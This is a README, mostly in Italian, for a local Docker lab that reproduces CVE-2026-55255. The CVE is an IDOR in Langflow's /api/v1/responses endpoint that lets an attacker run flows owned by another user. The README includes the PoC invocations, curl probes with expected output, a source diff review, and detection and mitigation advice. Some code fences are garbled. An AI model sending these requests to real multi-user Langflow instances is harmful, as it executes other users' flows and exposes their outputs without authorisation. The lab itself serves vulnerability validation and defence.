
/api/v1/responsesQuesto repository contiene un lab Docker locale per riprodurre e validare CVE-2026-55255, una vulnerabilità di Insecure Direct Object Reference (IDOR) che colpisce l'API Responses compatibile con OpenAI di Langflow.
Langflow è una piattaforma open-source per creare e distribuire agenti e flussi di lavoro basati sull'IA. Il comportamento vulnerabile interessa l'endpoint /api/v1/responses, dove un attaccante autenticato può fornire l'UUID del flusso di un altro utente come valore model e indurre Langflow a eseguire quel flusso di proprietà della vittima.
Questo lab confronta due versioni di Langflow:
| Servizio | Versione Langflow | Scopo | URL |
|---|---|---|---|
| vuln | 1.9.0 | Target di confronto vulnerabile | http://localhost:7860 |
| patched | 1.9.1 | Target di confronto corretto | http://localhost:7861 |
Il percorso di validazione HTTP dimostrato in questo lab locale è:```text Authenticated attacker API key → POST /api/v1/responses → request body sets model to victim-owned flow UUID → vulnerable target executes the victim-owned flow → patched target returns flow_not_found and does not execute the victim-owned flow
Nel target vulnerabile, la chiave API di proprietà dell'attaccante può eseguire il flusso di proprietà della vittima e la risposta contiene il marker esclusivo della vittima:```text
VICTIM_ONLY_CONTEXT_55255_VULN
Nel target patchato, la stessa richiesta cross-user non restituisce il marker della vittima e restituisce un corpo di errore in stile OpenAI:```json {"error":{"message":"Flow with id '' not found","type":"invalid_request_error","code":"flow_not_found"}}
This lab valida il comportamento HTTP vulnerabile rispetto a quello corretto utilizzando Langflow 1.9.0 e Langflow 1.9.1.
Il lab è volutamente limitato ai servizi Docker locali. Non prende di mira sistemi esterni e non include furto di credenziali, dumping di database, payload distruttivi, callback esterni, malware, persistenza o attività di post-exploitation.
## Fatti Verificati
| Affermazione | Evidenza | Come verificare in questo lab |
| ----- | -------- | ------------------------- |
| CVE-2026-55255 interessa l'endpoint `/api/v1/responses` di Langflow. | La GitHub Advisory GHSA-qrpv-q767-xqq2 descrive un IDOR in `/api/v1/responses`. | Esaminare la sezione References ed eseguire il PoC contro entrambi i target locali. |
| La GitHub Advisory elenca le versioni interessate come `< 1.9.1` e la versione corretta come `1.9.1`. | GitHub Advisory GHSA-qrpv-q767-xqq2. | Confrontare le versioni vulnerabile e corretta dei target in `docker-compose.yml`. |
| Alcune fonti di vulnerabilità secondarie non concordano sulla versione esatta della correzione. | GitHub/GitLab elencano `1.9.1` come corretta; alcune pagine di intelligence a valle menzionano `1.9.2` o contengono formulazioni contrastanti. | Esaminare la sezione References e basarsi sulla validazione del lab per il comportamento testato di 1.9.1. |
| Questo lab utilizza Langflow 1.9.0 come target di confronto vulnerabile. | Il servizio `vuln` utilizza `langflowai/langflow:1.9.0`. | Ispezionare `docker-compose.yml` ed eseguire `docker compose ps`. |
| Questo lab utilizza Langflow 1.9.1 come target di confronto corretto. | Il servizio `patched` utilizza `langflowai/langflow:1.9.1`. | Ispezionare `docker-compose.yml` ed eseguire `docker compose ps`. |
| L'API Responses di Langflow utilizza `POST /api/v1/responses`. | La documentazione di Langflow descrive l'endpoint dell'API Responses compatibile con OpenAI. | Eseguire il PoC o una richiesta curl manuale contro `/api/v1/responses`. |
| L'API Responses di Langflow accetta un ID di flow come valore `model`. | La documentazione di Langflow afferma che il valore `model` viene sostituito con un `flow_id`. | Ispezionare il corpo della richiesta del PoC. |
| Le richieste API di Langflow richiedono una chiave API tramite `x-api-key`. | La documentazione API di Langflow descrive l'autenticazione tramite chiave API con l'header `x-api-key`. | Ispezionare gli header della richiesta del PoC. |
| Il PoC è basato su richieste. | `poc/validate_idor.py` invia richieste HTTP e non chiama Docker, Docker Compose, comandi shell o API dei container. | Ispezionare `poc/validate_idor.py`. |
| Il target vulnerabile esegue un flow di proprietà della vittima con una chiave API di proprietà dell'attaccante. | La risposta vulnerabile restituisce `VICTIM_ONLY_CONTEXT_55255_VULN`. | Eseguire il comando del PoC vulnerabile con l'ID del flow della vittima e la chiave API dell'attaccante. |
| Il target corretto blocca lo stesso percorso di esecuzione tra utenti. | La risposta corretta restituisce `error.code = flow_not_found` e non restituisce il marcatore della vittima. | Eseguire il comando del PoC corretto con l'ID del flow della vittima e la chiave API dell'attaccante. |
## Ipotesi e Incognite
Questo lab utilizza Langflow 1.9.0 come target di confronto vulnerabile perché la GitHub Advisory GHSA-qrpv-q767-xqq2 identifica le versioni precedenti alla 1.9.1 come interessate, e i test locali hanno confermato il comportamento vulnerabile in 1.9.0.
Questo lab utilizza Langflow 1.9.1 come target di confronto corretto perché la GitHub Advisory GHSA-qrpv-q767-xqq2 elenca 1.9.1 come versione corretta, e i test locali hanno confermato che 1.9.1 blocca il percorso di esecuzione tra utenti `/api/v1/responses` testato con `flow_not_found`.
Esiste una discrepanza di versioni tra le fonti. Le advisory di GitHub e GitLab elencano le versioni precedenti alla 1.9.1 come interessate e la 1.9.1 come corretta. Alcune pagine di intelligence sulle vulnerabilità a valle menzionano la 1.9.2 o contengono formulazioni contrastanti riguardo alla versione corretta. Questo repository documenta tale discrepanza e valida direttamente il comportamento testato:```text
Langflow 1.9.0
→ attacker API key + victim flow UUID
→ victim marker returned
→ vulnerable behavior observed
Langflow 1.9.1
→ attacker API key + victim flow UUID
→ flow_not_found
→ victim marker not returned
→ blocked behavior observed
Questo laboratorio presuppone che l'attaccante conosca già un UUID del flusso vittima. La PoC non esegue brute force sugli ID di flusso, non enumera i flussi e non tenta di scoprire gli ID di flusso della vittima.
Questo laboratorio si concentra sul comportamento HTTP osservabile di:```text POST /api/v1/responses
con questa forma di richiesta:```json
{
"model": "<victim-flow-id>",
"input": "cross-user CVE-2026-55255 validation request",
"stream": false
}
The lab demonstrates unauthorized cross-user flow execution in the vulnerable target and blocked behavior in the patched target.
The lab does not demonstrate:
The root cause of CVE-2026-55255 is an authorization gap in Langflow's flow resolution logic.
The /api/v1/responses endpoint accepts a flow UUID through the model field. In vulnerable versions, the UUID lookup path inside get_flow_by_id_or_endpoint_name() could load a Flow object directly by primary key without enforcing that the resolved Flow.user_id matched the authenticated API-key user.
The vulnerable behavior can be summarized as:```text Attacker owns API key → attacker sends POST /api/v1/responses → model contains victim-owned flow UUID → flow resolver loads Flow by UUID → resolver does not enforce Flow.user_id == attacker_user.id → response endpoint executes the victim-owned flow → attacker receives victim flow output
Il comportamento corretto può essere riassunto come:```text
Attacker owns API key
→ attacker sends POST /api/v1/responses
→ model contains victim-owned flow UUID
→ flow resolver loads candidate Flow
→ resolver compares Flow.user_id with authenticated API-key user id
→ cross-user lookup is treated as not found
→ response endpoint returns flow_not_found
→ victim-owned flow is not executed
Il problema di sicurezza non è che l'attaccante possa chiamare /api/v1/responses con i propri flussi. Questo è un comportamento previsto. Il problema è che un utente autenticato con privilegi bassi può causare l'esecuzione di un flusso di proprietà di un altro utente da parte dell'endpoint quando viene fornito l'UUID del flusso vittima.
La lezione di sicurezza è:```text Object lookup by UUID is not authorization. Every object lookup used by an authenticated API route must be scoped to the authenticated principal or followed by a strict ownership check before the object is used.
## Analisi del codice sorgente
Il problema a livello di sorgente è stato confermato confrontando Langflow `v1.9.0` e `v1.9.1`.
I tag sorgente verificati utilizzati per la revisione erano:
| Versione | Commit Git |
| ------- | ---------- |
| v1.9.0 | `a47f2ad17eb662e940c550cfccb64a87dddd7e0b` |
| v1.9.1 | `dc26d19c1ed5b2779a3a759f78a747f47089c534` |
L'helper pertinente è:```python
async def get_flow_by_id_or_endpoint_name(flow_id_or_name: str, user_id: str | UUID | None = None) -> FlowRead:
Nel ramo UUID vulnerabile, il flusso veniva caricato per ID:```python flow_id = UUID(flow_id_or_name) flow = await session.get(Flow, flow_id)
Il controllo mancante rilevante per la sicurezza era:```python
flow.user_id == authenticated_user.id
Senza quel controllo del proprietario, un UUID di flusso valido era sufficiente per risolvere un oggetto Flow anche se apparteneva a un altro utente.
La versione patchata aggiunge la normalizzazione di user_id e applica l'ambito del proprietario sul percorso UUID:```python
if flow is not None and uuid_user_id is not None and flow.user_id != uuid_user_id:
flow = None
Il comportamento importante è:```text
if the flow exists
and the flow belongs to another user
then treat it as not found
Ecco perché la risposta del lab corretto restituisce:```json {"error":{"code":"flow_not_found"}}
invece di eseguire il flow di proprietà della vittima.
Per questo laboratorio, il comportamento vulnerabile principale è il percorso di esecuzione `/api/v1/responses` che raggiunge `get_flow_by_id_or_endpoint_name()` e risolve un UUID di un flow di proprietà della vittima senza applicare il controllo di proprietà.
La patch inoltre irrobustisce le route di esecuzione dei flow correlate. In `endpoints.py`, le route che in precedenza utilizzavano l'helper grezzo come dipendenza FastAPI sono state modificate da:```python
flow: Annotated[FlowRead, Depends(get_flow_by_id_or_endpoint_name)]
a wrapper autenticati come:```python async def get_flow_for_api_key_user( flow_id_or_name: str, api_key_user: Annotated[UserRead, Depends(api_key_security)], ) -> FlowRead: return await get_flow_by_id_or_endpoint_name(flow_id_or_name, api_key_user.id)
Queste modifiche ai wrapper sono un rafforzamento correlato per altre route di esecuzione dei flussi come `/api/v1/run*`. Garantiscono che l'helper riceva l'ID utente autenticato invece di fare affidamento su un semplice parametro della richiesta. La correzione principale dimostrata da questo lab rimane il controllo di proprietà lato resolver all'interno di `get_flow_by_id_or_endpoint_name()`.
La correzione a livello di sorgente ha quindi due parti correlate:```text
Core resolver fix:
enforce owner scoping before returning a Flow object
Related route dependency hardening:
pass the authenticated API-key or session user's ID into the resolver
Langflow 1.9.1 rafforza il percorso vulnerabile di risoluzione dei flussi trattando le ricerche cross-user come non trovate e garantendo che le route di esecuzione dei flussi correlate trasmettano il contesto utente autenticato al resolver.
La logica principale della patch è:```python if flow is not None and uuid_user_id is not None and flow.user_id != uuid_user_id: flow = None
La patch aggiunge anche dipendenze wrapper autenticate per le route che devono risolvere i flussi:```python
async def get_flow_for_api_key_user(...):
return await get_flow_by_id_or_endpoint_name(flow_id_or_name, api_key_user.id)
async def get_flow_for_current_user(...):
return await get_flow_by_id_or_endpoint_name(flow_id_or_name, current_user.id)
Il cambiamento rilevante per la sicurezza è:```text Before: flow UUID → session.get(Flow, flow_id) → Flow object returned without owner scoping → downstream execution path can run victim-owned flow
After: flow UUID → session.get(Flow, flow_id) → compare Flow.user_id with authenticated user id → cross-user result becomes None → shared not-found behavior fires → victim-owned flow is not executed
La patch riduce anche la divulgazione di informazioni. L'accesso tra utenti viene trattato come non trovato, piuttosto che restituire una risposta di autorizzazione distinta che potrebbe rivelare se esiste il flusso di un altro utente.
Questo lab mantiene separate la revisione del codice sorgente e la validazione runtime:```text
Source patch review:
explains why the vulnerable resolver could return a victim-owned flow.
Runtime validation:
proves the vulnerable target executes the victim-owned flow and the patched target does not.
Il lab esegue due target Langflow isolati tramite Docker Compose.```text . ├── docker-compose.yml ├── poc/ │ └── validate_idor.py ├── seed/ │ ├── Dockerfile │ └── seed.py ├── src/ │ ├── langflow-1.9.0/ │ └── langflow-1.9.1/ ├── state/ │ ├── patched.json │ ├── patched.ready │ ├── vuln.json │ └── vuln.ready └── README.md
I file in `state/` vengono generati dai servizi seed all'avvio del laboratorio. La directory `src/` contiene gli alberi sorgente di Langflow estratti, utilizzati per la verifica dei diff di origine.
I due servizi Langflow utilizzano versioni applicative separate e database SQLite separati all'interno dei rispettivi container:
| Service | Component | Version / Role |
| ------------ | --------- | -------------------------------------- |
| vuln | Langflow | applicazione target vulnerabile |
| patched | Langflow | applicazione di confronto corretta |
| seed-vuln | Python | crea utenti locali, chiavi API, flussi |
| seed-patched | Python | crea utenti locali, chiavi API, flussi |
Servizi esposti di default:```text
Vulnerable target: http://localhost:7860
Patched target: http://localhost:7861
Il lab utilizza immagini Langflow bloccate:
| Bersaglio | Versione Langflow | Comportamento previsto |
|---|---|---|
| http://localhost:7860 | 1.9.0 | la chiave API dell'attaccante può eseguire il flow di proprietà della vittima |
| http://localhost:7861 | 1.9.1 | l'esecuzione del flow della vittima tra utenti è bloccata |
I servizi seed vengono eseguiti automaticamente durante:```bash docker compose up --build --wait
Creano:```text
victim user
attacker user
attacker API key
victim flow
attacker flow
state/vuln.json
state/patched.json
state/vuln.ready
state/patched.ready
I file state/*.json generati dal seed forniscono valori di test locali usa-e-getta, come chiavi API e UUID dei flussi.
Il PoC non legge state/*.json. L'utente fornisce l'URL di destinazione, la chiave API, l'ID del flusso e l'eventuale marcatore atteso tramite argomenti della riga di comando.
Il lab non crea né modifica la route vulnerabile /api/v1/responses. Tale route è fornita da Langflow.
--waitjq per i comandi utili presenti in questo READMENessun pacchetto Python di terze parti è richiesto per il PoC. Il PoC utilizza esclusivamente moduli della libreria standard di Python.
Il container seed installa internamente il pacchetto Python requests. Tale pacchetto viene usato solo dai servizi seed durante la configurazione del lab, non dal PoC.
Avvia il lab da uno stato pulito:```bash docker compose down -v --remove-orphans find state -type f ( -name ".json" -o -name ".ready" ) -delete docker compose up --build --wait
Controlla lo stato del servizio:```bash
docker compose ps
Servizi sani previsti:```text cve-2026-55255-vuln cve-2026-55255-patched cve-2026-55255-seed-vuln cve-2026-55255-seed-patched
Target esposti previsti:```text
http://localhost:7860
http://localhost:7861
Controlla i file di stato del seed:```bash ls -la state cat state/vuln.json | jq . cat state/patched.json | jq .
File previsti:```text
state/vuln.json
state/vuln.ready
state/patched.json
state/patched.ready
Esegui la validazione basata sulle richieste contro il target vulnerabile:```bash
python3 poc/validate_idor.py
--url "$(jq -r '.public_url' state/vuln.json)"
--api-key "$(jq -r '.attacker.api_key' state/vuln.json)"
--flow-id "$(jq -r '.victim_flow.id' state/vuln.json)"
--expect-marker "$(jq -r '.victim_flow.marker' state/vuln.json)"
Esegui la validazione basata su richieste contro il target patchato:```bash
python3 poc/validate_idor.py \
--url "$(jq -r '.public_url' state/patched.json)" \
--api-key "$(jq -r '.attacker.api_key' state/patched.json)" \
--flow-id "$(jq -r '.victim_flow.id' state/patched.json)" \
--expect-marker "$(jq -r '.victim_flow.marker' state/patched.json)"
Il PoC accetta un URL target, una chiave API, un ID di flusso e un marcatore atteso opzionale:```bash
python3 poc/validate_idor.py
--url <target_url>
--api-key <api_key>
--flow-id <target_flow_id>
--expect-marker <expected_output_marker>
Required options:
| Opzione | Significato |
| ------ | ------- |
| `--url` | URL base di Langflow |
| `--api-key` | Chiave API usata nell'intestazione `x-api-key` |
| `--flow-id` | UUID del flusso usato come valore di `model` |
Optional options:
| Opzione | Significato |
| ------ | ------- |
| `--expect-marker` | Marcatore atteso nella risposta se il flusso target viene eseguito |
Il PoC invia questa richiesta HTTP:```text
POST /api/v1/responses
x-api-key: <redacted>
Content-Type: application/json
Corpo della richiesta:```json { "model": "", "input": "cross-user CVE-2026-55255 validation request", "stream": false }
Il PoC è basato su richieste. Non invoca Docker, Docker Compose, comandi shell, WP-CLI, API container o API seed di Langflow.
In questo lab, `state/*.json` può essere utilizzato per copiare le chiavi API locali monouso e gli ID dei flussi nel comando PoC. Il PoC stesso non dipende da quei file. Le chiavi API in `state/*.json` sono chiavi di laboratorio locali monouso; non utilizzare chiavi API di produzione reali in questi comandi.
## Risultati attesi
### Target vulnerabile
Comando:```bash
python3 poc/validate_idor.py \
--url "$(jq -r '.public_url' state/vuln.json)" \
--api-key "$(jq -r '.attacker.api_key' state/vuln.json)" \
--flow-id "$(jq -r '.victim_flow.id' state/vuln.json)" \
--expect-marker "$(jq -r '.victim_flow.marker' state/vuln.json)"
[CVE-2026-55255 REQUEST-BASED VALIDATION] [TARGET] http://localhost:7860 [FLOW_ID] [API_KEY]
[REQUEST] POST http://localhost:7860/api/v1/responses x-api-key: Content-Type: application/json { "model": "", "input": "cross-user CVE-2026-55255 validation request", "stream": false }
[RESPONSE] HTTP 200 flow execution observed : True expected marker : VICTIM_ONLY_CONTEXT_55255_VULN marker found : True
[BODY] ... "text":"VICTIM_ONLY_CONTEXT_55255_VULN\n\nowner=victim-user\n\ntenant=cve-2026-55255-lab" ...
======================================================================================== [CLASSIFICATION] VULNERABLE_BEHAVIOR - expected marker was returned. FINAL: VULNERABLE_BEHAVIOR_OBSERVED
L'importante segnale vulnerabile è:```text
attacker API key
+ victim flow UUID
+ HTTP 200 completed response
+ victim-only marker returned
Comando:```bash
python3 poc/validate_idor.py
--url "$(jq -r '.public_url' state/patched.json)"
--api-key "$(jq -r '.attacker.api_key' state/patched.json)"
--flow-id "$(jq -r '.victim_flow.id' state/patched.json)"
--expect-marker "$(jq -r '.victim_flow.marker' state/patched.json)"
Segnale atteso dal target patchato:```text
========================================================================================
[CVE-2026-55255 REQUEST-BASED VALIDATION]
[TARGET] http://localhost:7861
[FLOW_ID] <victim-flow-id>
[API_KEY] <redacted>
[REQUEST]
POST http://localhost:7861/api/v1/responses
x-api-key: <redacted>
Content-Type: application/json
{
"model": "<victim-flow-id>",
"input": "cross-user CVE-2026-55255 validation request",
"stream": false
}
[RESPONSE]
HTTP 200
flow execution observed : False
expected marker : VICTIM_ONLY_CONTEXT_55255_PATCHED
marker found : False
error code : flow_not_found
[BODY]
{"error":{"message":"Flow with id '<victim-flow-id>' not found","type":"invalid_request_error","code":"flow_not_found"}}
========================================================================================
[CLASSIFICATION] BLOCKED - target returned flow_not_found.
FINAL: BLOCKED_BEHAVIOR_OBSERVED
Il segnale importante corretto è:```text attacker API key
### Esecuzione osservata senza marcatore
Se `--expect-marker` viene omesso e il target restituisce una risposta Langflow completata, il PoC segnala:```text
[CLASSIFICATION] FLOW_EXECUTION_OBSERVED - target returned a completed flow response.
[NOTE] Ownership of the supplied flow ID must be confirmed separately.
FINAL: FLOW_EXECUTION_OBSERVED
Ciò significa che il flow target è stato eseguito, ma la PoC non può dimostrare da sola che l'ID del flow fornito appartenga a un altro utente. La proprietà deve essere confermata tramite i dati seed del laboratorio, la fonte dell'ID del flow o altre prove autorizzate.
Il validatore invia una richiesta HTTP POST all'endpoint API Langflow Responses:```text /api/v1/responses
La richiesta utilizza la chiave API fornita:```text
x-api-key: <attacker-api-key>
Il corpo della richiesta utilizza lo UUID del flusso fornito come valore model:```json
{
"model": "",
"input": "cross-user CVE-2026-55255 validation request",
"stream": false
}
Expected vulnerable behavior:```text
HTTP 200
response object status is completed
error is null
output contains victim-owned flow marker
Comportamento previsto dopo la patch:```text request does not execute victim-owned flow response does not contain victim marker response indicates flow_not_found
In questo lab, Langflow 1.9.1 restituisce `HTTP 200` con un oggetto di errore JSON in stile OpenAI:```json
{"error":{"code":"flow_not_found"}}
Per questo motivo il PoC controlla il codice di errore JSON invece di assumere che lo stato del trasporto HTTP debba essere 404.
Il PoC valida intenzionalmente solo la condizione di esecuzione del flusso cross-user. Non tenta di scoprire ID di flusso, effettuare brute-force su UUID, enumerare utenti, estrarre segreti o attivare servizi esterni.
Il seed del laboratorio scrive valori locali usa e getta in state/*.json. Questi comandi utilizzano questi valori locali per costruire richieste curl. I file di stato sono artefatti esclusivi del laboratorio.
Sonda vulnerabile:```bash
curl -i -sS -X POST
"$(jq -r '.public_url' state/vuln.json)/api/v1/responses"
-H "Content-Type: application/json"
-H "x-api-key: $(jq -r '.attacker.api_key' state/vuln.json)"
--data "{
"model": "$(jq -r '.victim_flow.id' state/vuln.json)",
"input": "cross-user CVE-2026-55255 validation request",
"stream": false
}"
Risultato vulnerabile previsto:```text
HTTP/1.1 200 OK
...
"status":"completed"
"error":null
"VICTIM_ONLY_CONTEXT_55255_VULN"
Sonda patchata:```bash
curl -i -sS -X POST
"$(jq -r '.public_url' state/patched.json)/api/v1/responses"
-H "Content-Type: application/json"
-H "x-api-key: $(jq -r '.attacker.api_key' state/patched.json)"
--data "{
"model": "$(jq -r '.victim_flow.id' state/patched.json)",
"input": "cross-user CVE-2026-55255 validation request",
"stream": false
}"
Risultato atteso dopo la patch:```text
HTTP/1.1 200 OK
...
{"error":{"code":"flow_not_found"}}
CVE-2026-55255 è sensibile dal punto di vista della sicurezza nelle distribuzioni Langflow multi-utente o multi-tenant perché un utente autenticato potrebbe essere in grado di eseguire il flow di un altro utente se l'UUID del flow della vittima è noto.
Il potenziale impatto nel mondo reale dipende da ciò che fa il flow di proprietà della vittima.
Il possibile impatto può includere:
La sfruttabilità pratica dipende dal fatto che l'attaccante possa ottenere un UUID valido del flow della vittima. L'indovinamento degli UUID dei flow non è l'obiettivo di questo laboratorio e il PoC non forza bruta gli ID dei flow.
Questo laboratorio dimostra solo il fallimento sicuro del confine di autorizzazione:```text attacker API key
Il lab non dimostra accesso reale ai dati, accesso reale ai segreti, abuso delle chiavi del provider LLM, callback esterni o post-esplorazione.
## Rilevamento e Monitoraggio
I potenziali indicatori includono richieste autenticate a:```text
POST /api/v1/responses
Pattern di richiesta sospetta:```text x-api-key belongs to user A model contains flow UUID owned by user B
Idea per il rilevamento ad alto segnale:```text
POST /api/v1/responses
AND request.model is a flow UUID
AND authenticated API-key user does not own that flow UUID
Possibili log o telemetria a livello di applicazione da esaminare:
model,flow_not_found,/api/v1/responses,Esempio di artefatto di validazione vulnerabile:```text Request: POST /api/v1/responses x-api-key: attacker user's API key model: victim user's flow UUID
Response: status: completed error: null output contains victim-only marker
Esempio di artefatto di validazione corretto:```text
Request:
POST /api/v1/responses
x-api-key: attacker user's API key
model: victim user's flow UUID
Response:
error.code: flow_not_found
victim marker not returned
Azioni di monitoraggio consigliate:
/api/v1/responses.flow_not_found relativi alle Responses API.Aggiorna Langflow a una versione corretta.
La GitHub Advisory GHSA-qrpv-q767-xqq2 elenca Langflow 1.9.1 come corretto per CVE-2026-55255. Alcune fonti di intelligence sulle vulnerabilità a valle menzionano la 1.9.2 o contengono formulazioni contrastanti sulla versione corretta. Questo laboratorio conferma che Langflow 1.9.1 blocca il percorso di esecuzione cross-user testato /api/v1/responses con flow_not_found. Per gli ambienti di produzione, aggiorna all'ultima versione di Langflow disponibile anziché fermarti alla versione di confronto utilizzata nel laboratorio.
Passaggi di mitigazione consigliati:
/api/v1/responses.Lezioni di ingegneria della sicurezza:
Questo laboratorio è destinato esclusivamente a ricerca di sicurezza locale e dimostrazioni controllate.
Non eseguire il PoC o richieste curl manuali contro sistemi che non possiedi o per i quali non hai un'autorizzazione esplicita al test.
Non utilizzare credenziali di produzione reali, dati dei clienti, dati di pagamento, chiavi API, chiavi di provider LLM, credenziali di database o segreti di produzione in questo laboratorio.
L'ambito previsto è limitato ai servizi Docker locali come:```text http://localhost:7860 http://localhost:7861 http://127.0.0.1:7860 http://127.0.0.1:7861
La PoC è intenzionalmente basata su richieste. Non chiama Docker, Docker Compose, comandi shell, WP-CLI o API dei container.
Il laboratorio non include payload per:
* brute force degli UUID di flow,
* enumerazione degli utenti,
* furto di credenziali,
* dump del database,
* abuso delle chiavi del provider LLM,
* esecuzione arbitraria di comandi,
* malware,
* persistenza,
* movimento laterale,
* accesso ai dati dei clienti,
* o callback esterni.
L'obiettivo è dimostrare una condizione tecnica specifica in un ambiente controllato:```text
HTTP request
+ attacker-owned API key
+ victim-owned flow UUID
+ vulnerable target executes victim-owned flow
+ patched target returns flow_not_found
Record CVE: CVE-2026-55255 https://www.cve.org/CVERecord?id=CVE-2026-55255
Avviso GitHub: GHSA-qrpv-q767-xqq2 https://github.com/advisories/GHSA-qrpv-q767-xqq2
Avviso GitLab: CVE-2026-55255 https://advisories.gitlab.com/pypi/langflow/CVE-2026-55255/
Pull Request di Langflow: fix(security): close IDOR in get_flow_by_id_or_endpoint_name (LE-639) #12832 https://github.com/langflow-ai/langflow/pull/12832
Documentazione API OpenAI Responses di Langflow https://docs.langflow.org/api-openai-responses
Documentazione su chiavi API e autenticazione di Langflow https://docs.langflow.org/api-keys-and-authentication
Esempi di riferimento API di Langflow https://docs.langflow.org/api-reference-api-examples
Repository GitHub di Langflow https://github.com/langflow-ai/langflow
Immagine Docker di Langflow https://hub.docker.com/r/langflowai/langflow
Nota del plugin Tenable per GHSA-qrpv-q767-xqq2 https://www.tenable.com/plugins/container-security/443659
Intelligence sulle vulnerabilità di Mondoo: CVE-2026-55255 https://mondoo.com/vulnerability-intelligence/vulnerability/CVE-2026-55255